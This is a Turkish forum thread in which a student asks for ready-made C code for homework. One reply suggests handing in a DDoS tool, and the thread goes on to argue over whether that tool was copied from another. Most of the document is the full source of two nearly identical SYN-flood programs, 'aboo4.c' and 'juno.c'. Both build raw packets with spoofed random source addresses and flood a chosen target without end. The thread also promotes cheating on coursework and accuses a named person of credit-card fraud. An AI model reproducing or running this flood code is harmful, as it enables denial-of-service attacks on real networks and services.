Arkadalar Ödevim İçin Çok Acil C Hazır Koda İhtiyacım Var
-
Arkadaşlar biliyorum yaptığım biraz yanlış bişey ama finallerim yaklaştı ve çok yoğunun. Ödev olarak bir program vermem gerekiyor. Vericeğim programı exe olarak değil de yazılmış kodlarını vermek zorundayım. Bu konuda bana bu tarz örnek bir program verebilecek olan yada bu tarz örnekleri bulabileceğim bir site tavsiye edebilecek olan varsa yardımlarınızı bekliyorum. Lütfen çok acil hayat memat meselesi.
-
walla koduna göre deişir.
ne programı istion? -
dostum şimdi sana komik gelicek ama yazdığım bir ddos kod sayesinde ödevimden 10 üzerinden 10 aldım :) kodları download et ve hocana ver hem güvenlik üzerinden hemde kodlama üzerinden 10 üzerinden 10 alıcaksın eminim :) www.bbaysan.com/aboo4.c adamlar zaten bişeyden anlamıyor görünce şaşırıp kalıyorlar nası yaptı falan diye manyak olmuştu hocalar. ben sessiz sakin derste oturan hatta sorulara bile cevap vermeyen sorulsada bilmiyom diyip gecen biriyim :P
-
la sentus ne pok yion sen burda HolyOne Sanada aşk olsun bole bi arkdaşa ban atmadıın için :) Neden mi soyle açıklayayım. Siteye Koduun Sözde Bilginsin yazdıı bu program http://packetstormsecurity.nl/DoS/juno.c ın türkçeye çevirmişinden başka bişi diil.Hadi Bunları çalmışlar de :) Sen Bunu yazmadan 1 ay oncede gormustum bunu şimdi gelelim sik.c ye onun tam benzerini bulamasamda http://members.lycos.co.uk/masterteamgentr/pepsi.c adresine bi bakın derim şu filetr nin de asıl kodunu blacam.Burak (Sentus) Sen ilk baş dolandırdıın insanların hakkını wer ( Bi arkadaş CC sini wermiş ( MAkina Satıyor bu Wmware ci ) Adama elini veren götü kaptırıyor 400 Milyon çekilmiş internet paketleri vs.. Falanda alınmış bizde bundan makina aldık amcam 50 milyon soktu içeri + açık kaldıı surede yasanan kesintiler + 512 aldıımız makinada 128 Ram takılmış olması cabası ve sanırım Bnetten de kovuldu ipsinde giriş yok
-
ayrıca msn deki engellemeyide kaldır aız tadıyla iki laf edemedk senle :)
-
bu kodlarla o kodların hiç bir alakası yok zaten şimdi karşılaştırma yapıp görürler. ve onun dışında bnet i bırakan benim. arayıp bnet den bilgi alabilirsin. 2. si biz asla vmware kullanmadık bunu yine bnet i arayıp orada onceden kaç makinamızın oldunu sorup orenebilirsin.
-
-
/*
Bu kod kesinlikle illegal amaclar icin tasarlanmamistir. Bu kod sadece
arastirma ve guvenlik sistemlerini tanimlama test ve bilgi edinme icin
yazilmistir. Kullanacaginiz kotu amaclarla bizim kesinlikle bir alakamiz
yoktur. Burada yer alan kod cok yuksek seviyede tahrib gucune sahiptir.CODE NAME: ABOO VERSION 4
CODER: snts - sentus
Burak BaysanEMAIL: burak@nictr.net
WEB : www.bbaysan.comCOMPILE:
gcc -o aboo4.c aboo4
*/
char aboobilgi[] = "ABOO VERSION 4 by sentus\n";
/* DEGISKENLERI TANIMLAYALIM */
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>/* COMP. VERSIYON */
#define USELESS_INFO
#define DUZENLE_WINDOWS /* DUZENLE_WINDOWS veya DUZENLE_LINUX */
/* IP */
#define OTOMATIK_SOURCE_IP /* degisik ip adresleri kullanir */
/* PORTLAR */
#define OTOMATIK_SOURCE_PORT /* tum portlara saldirir */
/* TEKRAR */
#undef DELAY 1000 /* minisaniyelik saldiri ayari *//* CIKTILARI AL */
#ifndef DUZENLE_WINDOWS
# ifndef DUZENLE_LINUX
# define DUZENLE_WINDOWS 1
# endif
#endif
/* PAKETLERI CAGIR */
struct syn {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
#ifdef DUZENLE_WINDOWS
char opt[8];
#else
# ifdef DUZENLE_LINUX
char opt[20];
# endif
#endif
};
/* HOSTNAME TANI */
int resolve(char *name,unsigned long *ip) {
struct hostent *host;if ((*ip=inet_addr(name)) == INADDR_NONE) {
if (!(host=gethostbyname(name))) return(-1);
*ip=((struct in_addr *)host->h_addr)->s_addr;
}
return(0);
}
/* IP PAKETLERINI HAZIRLA */
int portgetir1(void) {
int s = socket(PF_INET,SOCK_RAW,6),one=1;if(s<1) return(0);
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
return(s);
}
/* PORTA VERIYI GONDER */
int portgetir(char *s, unsigned short *out)
{
char const *p;
int n;if(!*s) return(-1);
for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
if(p-s>5) return(-3);
if(((n=atoi(s))>65535) || (n<0)) return(4);
*out=htons(n);
return(0);
}
/* TANIMLAMALAR 2 */
void prep_syn(struct syn *syn) {
syn->verihl = 69;
syn->len = htons(sizeof(struct syn));
syn->flg_ofs = 64;
syn->proto = 6;
syn->flags = 2;
#ifdef DUZENLE_WINDOWS
syn->ttl = 128;
syn->offset = 112;
syn->win = htons(8192);
syn->opt[0] = 2;
syn->opt[1] = 4;
syn->opt[2] = 5;
syn->opt[3] = 0xB4;
syn->opt[4] = 1;
syn->opt[5] = 1;
syn->opt[6] = 4;
syn->opt[7] = 2;
#else
# ifdef DUZENLE_LINUX
syn->tos = 16;
syn->ttl = 64;
syn->offset = 160;
syn->win = htons(15536);
syn->opt[0] = 0x02;
syn->opt[1] = 0x04;
syn->opt[2] = 0x0F;
syn->opt[3] = 0x2C;
syn->opt[4] = 0x04;
syn->opt[5] = 0x02;
syn->opt[6] = 0x08;
syn->opt[7] = 0x0A;
syn->opt[9] = 0x05;
syn->opt[10] = 0x27;
syn->opt[11] = 0x2D;
syn->opt[13] = 0x05;
syn->opt[14] = 0x27;
syn->opt[15] = 0x2D;
syn->opt[16] = 0x01;
syn->opt[17] = 0x03;
syn->opt[18] = 0x03;
# endif
#endif
}
/* SANIYEDEKI VERI */
int starttime,outcount=0;
/* PAKET BOYUTU */
int aboo_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
register int count = (sizeof(struct syn)-20) >> 1,sum;
register unsigned short *p = &syn->sport;/* OTOMATIK IP DEGISTIR */
#ifdef OTOMATIK_SOURCE_IP
syn->src = random();
#endif
syn->id = 1+255*((random()%256)|0xFF);
#ifdef OTOMATIK_SOURCE_PORT
syn->sport = htons(1024 + (random() & 2048));
#endif
syn->seq = random();
syn->ack_seq = random();
syn->tcpsum = 0;
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
(syn->dst & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
syn->tcpsum = ~(sum += (sum >> 16));outcount++;
return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
}/* KOMUTLARI BIRLESTIR */
#ifdef OTOMATIK_SOURCE_IP
# ifdef OTOMATIK_SOURCE_PORT
# define KURBAN_IP_HEDEFI 1
# else
# define KAYNAK_PORT_HEDEF 1
# define KURBAN_IP_HEDEFI 2
# endif
#else
# ifdef OTOMATIK_SOURCE_PORT
# define KURBAN_IP_HEDEFI 2
# else
# define KAYNAK_PORT_HEDEF 2
# define KURBAN_IP_HEDEFI 3
# endif
#endif
/* SALDIRI BITTIGINDE */
void sinyal_proc(int signum) {
int ctime=time(NULL);
printf("\E[32m\n ** ABOO VERSION 4 DURDURULDU ! **************\n");
printf(" Coder: sentus\n");
printf(" Burak BAYSAN\n");
printf(" burak@nictr.net\n");
printf(" *************************************\n");
printf(" INFORMATION IS POWER\n");
printf(" *************************************\n");
printf(" Special Thanks:\n");
printf(" HolyOne\n");
printf(" Brocker\n");
printf(" Kustah\n");
printf(" *************************************\n");
printf(" www.bbaysan.com\n");
printf(" *************************************\n");
exit(1);
}
/* SALDIRI BASLADIGINDA */
int main(int argc,char *argv[]) {
struct syn syn;
struct sockaddr_in targ;
int sock;bzero(&syn,sizeof(struct syn));
if(argc<KURBAN_IP_HEDEFI+2) {
fprintf(stderr,"Ornek: %s ",argv[0]);
#ifndef OTOMATIK_SOURCE_IP
fprintf(stderr,"<ip kaynagi> ");
#endif
#ifndef OTOMATIK_SOURCE_PORT
fprintf(stderr,"<port kaynagi> ");
#endif
fprintf(stderr,"<kurban ip> <port>\n");
exit(1);
}if(!(sock=portgetir1())) {
fprintf(stderr,"Saldiri basarisiz\nSistem uzerinde firewall var\nProgrami root ile calistirmani oneririm.\n");
exit(2);
}/* HOSTNAME LOOKUP ET */
#ifndef OTOMATIK_SOURCE_IP
if(resolve(argv[1],&syn.src)) {
fprintf(stderr,"Ip kaynagi bulunamadi (%s)\n",argv[1]);
exit(3);
}
#endif/* OTOMATIK PORT */
#ifndef OTOMATIK_SOURCE_PORT
if(portgetir(argv[KAYNAK_PORT_HEDEF],&syn.sport)) {
fprintf(stderr,"Port kaynagi bulunamadi (%s)\n",argv[KAYNAK_PORT_HEDEF]);
exit(4);
}
#endifif(resolve(argv[KURBAN_IP_HEDEFI],&syn.dst)) {
fprintf(stderr,"Hatali kurban ipsi (%s)\n",argv[KURBAN_IP_HEDEFI]);
exit(5);
}if(portgetir(argv[KURBAN_IP_HEDEFI+1],&syn.dport)) {
fprintf(stderr,"Hatali port (%s)\n",argv[KURBAN_IP_HEDEFI+1]);
exit(6);
}
/* BILGISI */
#ifdef USELESS_INFO
printf("%s%s",aboobilgi,"Kurban");
# ifndef OTOMATIK_SOURCE_IP
printf(" bizimki %s:",inet_ntoa(syn.src));
# ifndef OTOMATIK_SOURCE_PORT
printf("%d",ntohs(syn.sport));
# else
printf("rasgele ");
# endif
# else
# ifndef OTOMATIK_SOURCE_PORT
printf("rasgele:%d",ntohs(syn.sport));
# endif
# endif
printf(" Bilgileri %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
#endif
targ.sin_addr.s_addr = syn.dst;
targ.sin_port = syn.dport;
targ.sin_family = AF_INET;srandom(time(NULL));
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);signal(SIGHUP,&sinyal_proc);
signal(SIGINT,&sinyal_proc);
signal(SIGQUIT,&sinyal_proc);
signal(SIGILL,&sinyal_proc);
signal(SIGABRT,&sinyal_proc);
signal(SIGFPE,&sinyal_proc);
// signal(SIGKILL,&sinyal_proc);
signal(SIGSEGV,&sinyal_proc);
signal(SIGPIPE,&sinyal_proc);
signal(SIGALRM,&sinyal_proc);
signal(SIGTERM,&sinyal_proc);
signal(SIGUSR1,&sinyal_proc);
signal(SIGUSR2,&sinyal_proc);
signal(SIGCHLD,&sinyal_proc);
signal(SIGCONT,&sinyal_proc);
// signal(SIGSTOP,&sinyal_proc);
signal(SIGTSTP,&sinyal_proc);
signal(SIGTTIN,&sinyal_proc);
signal(SIGTTOU,&sinyal_proc);prep_syn(&syn);
while(1) {
if(aboo_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
fprintf(stderr,"paketler gonderilemedi\n");
exit(7);
}
#ifdef DELAY
usleep(DELAY);
#endif
}
}--------------------juno-------------------------------
char about[] = "juno.c by Sorcerer of DALnet\n";
/*
for best results, compile with:
gcc -O2 juno.c -o juno
thanks to bleach for releasing this for me, I'm too lazy to do it myself
P.S I'd just like to send out a big "get out of the closet" to malkman,
for making useless mods to this source that actually make it *less*
effective. Get a life man.
*/
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#define USELESS_INFO
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */
#define RANDOMIZE_SOURCE_IP /* random source ips */
#define RANDOMIZE_SOURCE_PORT /* random source ports */
#undef DELAY 1000 /* microsecond delay, undef for none */
/* nothing beyond here is useful to people who can't program */
#ifndef EMULATE_WINDOWS
# ifndef EMULATE_LINUX
# define EMULATE_WINDOWS 1
# endif
#endif
struct syn {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
#ifdef EMULATE_WINDOWS
char opt[8];
#else
# ifdef EMULATE_LINUX
char opt[20];
# endif
#endif
};
int resolve(char *name,unsigned long *ip) {
struct hostent *host;
if ((*ip=inet_addr(name)) == INADDR_NONE) {
if (!(host=gethostbyname(name))) return(-1);
*ip=((struct in_addr *)host->h_addr)->s_addr;
}
return(0);
}
int getsock(void) {
int s = socket(PF_INET,SOCK_RAW,6),one=1;
if(s<1) return(0);
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
return(s);
}
int getport(char *s, unsigned short *out)
{
char const *p;
int n;
if(!*s) return(-1);
for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
if(p-s>5) return(-3);
if(((n=atoi(s))>65535) || (n<0)) return(4);
*out=htons(n);
return(0);
}
void prep_syn(struct syn *syn) {
syn->verihl = 69;
syn->len = htons(sizeof(struct syn));
syn->flg_ofs = 64;
syn->proto = 6;
syn->flags = 2;
#ifdef EMULATE_WINDOWS
syn->ttl = 128;
syn->offset = 112;
syn->win = htons(8192);
syn->opt[0] = 2;
syn->opt[1] = 4;
syn->opt[2] = 5;
syn->opt[3] = 0xB4;
syn->opt[4] = 1;
syn->opt[5] = 1;
syn->opt[6] = 4;
syn->opt[7] = 2;
#else
# ifdef EMULATE_LINUX
syn->tos = 16;
syn->ttl = 64;
syn->offset = 160;
syn->win = htons(15536);
syn->opt[0] = 0x02;
syn->opt[1] = 0x04;
syn->opt[2] = 0x0F;
syn->opt[3] = 0x2C;
syn->opt[4] = 0x04;
syn->opt[5] = 0x02;
syn->opt[6] = 0x08;
syn->opt[7] = 0x0A;
syn->opt[9] = 0x05;
syn->opt[10] = 0x27;
syn->opt[11] = 0x2D;
syn->opt[13] = 0x05;
syn->opt[14] = 0x27;
syn->opt[15] = 0x2D;
syn->opt[16] = 0x01;
syn->opt[17] = 0x03;
syn->opt[18] = 0x03;
# endif
#endif
}
int starttime,outcount=0;
int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
register int count = (sizeof(struct syn)-20) >> 1,sum;
register unsigned short *p = &syn->sport;
#ifdef RANDOMIZE_SOURCE_IP
syn->src = random();
#endif
syn->id = 1+255*((random()%256)|0xFF);
#ifdef RANDOMIZE_SOURCE_PORT
syn->sport = htons(1024 + (random() & 2048));
#endif
syn->seq = random();
syn->ack_seq = random();
syn->tcpsum = 0;
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
(syn->dst & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
syn->tcpsum = ~(sum += (sum >> 16));
outcount++;
return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
}
#ifdef RANDOMIZE_SOURCE_IP
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 1
# else
# define SOURCE_PORT_INDEX 1
# define TARGET_IP_INDEX 2
# endif
#else
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 2
# else
# define SOURCE_PORT_INDEX 2
# define TARGET_IP_INDEX 3
# endif
#endif
void sig_proc(int signum) {
int ctime=time(NULL);
printf("\n -- statistics -----------------------\n");
printf(" packets sent: %d\n",outcount);
printf(" bytes sent: %d\n",outcount * sizeof(struct syn));
printf(" seconds active: %d\n",ctime-starttime);
printf(" average bytes/second: %d\n",(outcount * sizeof(struct syn))/(ctime-starttime));
printf(" -------------------------------------\n");
exit(1);
}
int main(int argc,char *argv[]) {
struct syn syn;
struct sockaddr_in targ;
int sock;
bzero(&syn,sizeof(struct syn));
if(argc<TARGET_IP_INDEX+2) {
fprintf(stderr,"Syntax: %s ",argv[0]);
#ifndef RANDOMIZE_SOURCE_IP
fprintf(stderr,"<source ip> ");
#endif
#ifndef RANDOMIZE_SOURCE_PORT
fprintf(stderr,"<source port> ");
#endif
fprintf(stderr,"<target ip> <target port>\n");
exit(1);
}
if(!(sock=getsock())) {
fprintf(stderr,"Firewall War Atamyıorum ROOT olup dene.\n");
exit(2);
}
#ifndef RANDOMIZE_SOURCE_IP
if(resolve(argv[1],&syn.src)) {
fprintf(stderr,"Invalid source ip (%s)\n",argv[1]);
exit(3);
}
#endif
#ifndef RANDOMIZE_SOURCE_PORT
if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {
fprintf(stderr,"Invalid source port (%s)\n",argv[SOURCE_PORT_INDEX]);
exit(4);
}
#endif
if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {
fprintf(stderr,"Invalid target ip (%s)\n",argv[TARGET_IP_INDEX]);
exit(5);
}
if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {
fprintf(stderr,"Invalid target port (%s)\n",argv[TARGET_IP_INDEX+1]);
exit(6);
}
#ifdef USELESS_INFO
printf("%s%s",about,"death");
# ifndef RANDOMIZE_SOURCE_IP
printf(" from %s:",inet_ntoa(syn.src));
# ifndef RANDOMIZE_SOURCE_PORT
printf("%d",ntohs(syn.sport));
# else
printf("random ");
# endif
# else
# ifndef RANDOMIZE_SOURCE_PORT
printf("random:%d",ntohs(syn.sport));
# endif
# endif
printf(" to %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
#endif
targ.sin_addr.s_addr = syn.dst;
targ.sin_port = syn.dport;
targ.sin_family = AF_INET;
srandom(time(NULL));
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
// signal(SIGKILL,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
// signal(SIGSTOP,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);
prep_syn(&syn);
while(1) {
if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
fprintf(stderr,"failed to send packet\n");
exit(7);
}
#ifdef DELAY
usleep(DELAY);
#endif
}
}
Kesinlikle hiçbir benzerlik yoktur !
